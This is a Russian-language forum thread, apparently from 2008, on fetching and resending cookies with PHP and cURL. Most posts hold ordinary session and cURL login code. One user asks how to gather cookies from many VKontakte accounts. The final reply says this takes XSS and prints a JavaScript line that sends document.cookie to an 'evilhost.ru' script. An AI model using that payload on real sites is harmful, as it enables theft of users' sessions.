PDA

Просмотр полной версии : Получить куки [php]


bad_signal
10.12.2008, 22:24
Здравствуйте.
Встала задача зайти на сайт 2раза при помощи PHP.
В первый раp мне нужно зайти и получить какие-то данные, которые я смогу вписать при втором заходе.
Тобиш куки или сессии.

Каким образом это можно осуществить?
Если можно, то выложите кусочек кода.

preda1or
10.12.2008, 22:29
Сессии
<?php
// page1.php

session_start();

echo 'Welcome to page #1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal'] = 'cat';
$_SESSION['time'] = time();


echo '<br /><a href="page2.php">page 2</a>';
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>


<?php
// page2.php

session_start();

echo 'Welcome to page #2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal']; // cat
echo date('Y m d H:i:s', $_SESSION['time']);


echo '<br /><a href="page1.php">page 1</a>';
?>

159932
10.12.2008, 22:29
$lol = curl_init('http://mail.ru');
curl_setopt($lol, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($lol, CURLOPT_COOKIE,$cookie);
$pol = curl_exec($lol);

preda1or
10.12.2008, 22:30
Cookies:
<?php
setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", ".utoronto.ca", 1);
echo $TestCookie;
echo $_COOKIE["TestCookie"];
?>

FeoЩту
10.12.2008, 23:25
session_start();
if(!isset($_SESSION['temp'])) {
$_SESSION['temp'] = 'true';
} else {
echo $_SESSION['temp'];
unset($_SESSION['temp']);
}

Chaak
11.12.2008, 00:21
2preda1or, скрипт отобразит инфу после релойда страницы, т.к сначала браузер получит куки, но не передаст на сервер :)

2остальным, не путайте сессии с cookie. Файлы сессий хранятся на сервере, а печеньки на стороне клиента.

astrologer
11.12.2008, 00:42
Файлы сессий хранятся на сервере, а печеньки на стороне клиента. А идентификатор сессии, как правило, в печеньках...

.:nbd:.
11.12.2008, 07:46
ТС спросил как получить, а не как написать скрипт который создает сессии или устанавливает куки. ТС куки приходят в заголовке SetCookie ответа после первого обращения к серверу. Прарсим заголовки, сохраняем установленные плюшки, дальше как написал 159932.

код примерно такой:

$url='http://site.ru/index.php';
//задаем урл

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER,1);
$temp=curl_exec($ch);
curl_close($ch);
//отправляем CURLом get запрос и сохраняем ответ в $temp

$cookie_pattern="|Set\-Cookie\:\s(.*);\sdomain|";
preg_match_all($cook_pattern, $temp, $out);
$cookie='Cookie: '.$out[1][0];
//парсим куки из ответа и присваиваем переменной $cookie значение установленных плюшек

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);
$temp=curl_exec($ch);
curl_close($ch);
//засылаем CURLом плюшки обратно

Но.
Сервер плюшки обычно ставить только после каких либо действий, например авторизации. Для того, чтобы залогиниться нужно будет отправить POSTом (обчно это пост) логин и пасс (ну как минимум) в первом запросе. Тогда его код изменится на :

$post_data='login=vasya&pass=trucoder';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HEADER,1);
$temp=curl_exec($ch);
curl_close($ch);

Для полного ответа задай правильно вопрос, что именно тебе нужно сделать.

bad_signal
11.12.2008, 17:33
Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо

.:EnoT:.
11.12.2008, 17:46
Ответ на вопрос здесь дал только .:nbd:., остальные чисто понты гоняют или вопрос плохо поняли)

Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо
собственно в примере .:nbd:. переменная $temp и будет содержать код полученной страницы.

bad_signal
11.12.2008, 18:14
спс, решил проверить
$res = curl_exec($ch1);
echo $res;

но не выводит почемуто код

Design_Corn
11.12.2008, 23:28
Встала такая похожая задача, не буду создавать новую тему.

Нужно зайти на сайт вывести с него капчу.
Затем через пост, я ввожу капчу.
Затем нужно что бы эта капча передалась на тот сайт.

Т.е. мне не нужно терять сессию между вводом капчи.

Как мне сделать таковое?

lol100
12.12.2008, 07:14
Раз данный топик по теме как получить куки, подскажите пожалуйста каки образом можно осушествить что скрипт сам получил куки и записал их в фаил, нужно чтоб скрипт получил куки с Вконтакте, руками получается так когда авторизированы javascript:document.write(document.cookie) нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки. Заранее спасибо

Design_Corn
12.12.2008, 15:14
lol100
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");

groundhog
12.12.2008, 15:23
lol100, ты вообще в курсах что такое куки как их готовят и едят?

...нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки...
Получить куки владельцев аккаунта можно только если скрипт запущен на сервере VKONTAKTE, тогда ты сможешь и в файл их записать и т.д. Ну или же если ты найдёшь какую-то XSS и выполнишь JavaScript код на стороне браузера владельца аккаунта VKONTAKTE, но JavaScript не умеет писать в файл, тебе придётся редиректить на какой-то другой внешний скрипт, который будет писать куки в файл:

document.location = 'http://evilhost.ru/evilscript.php?var=' + document.cookie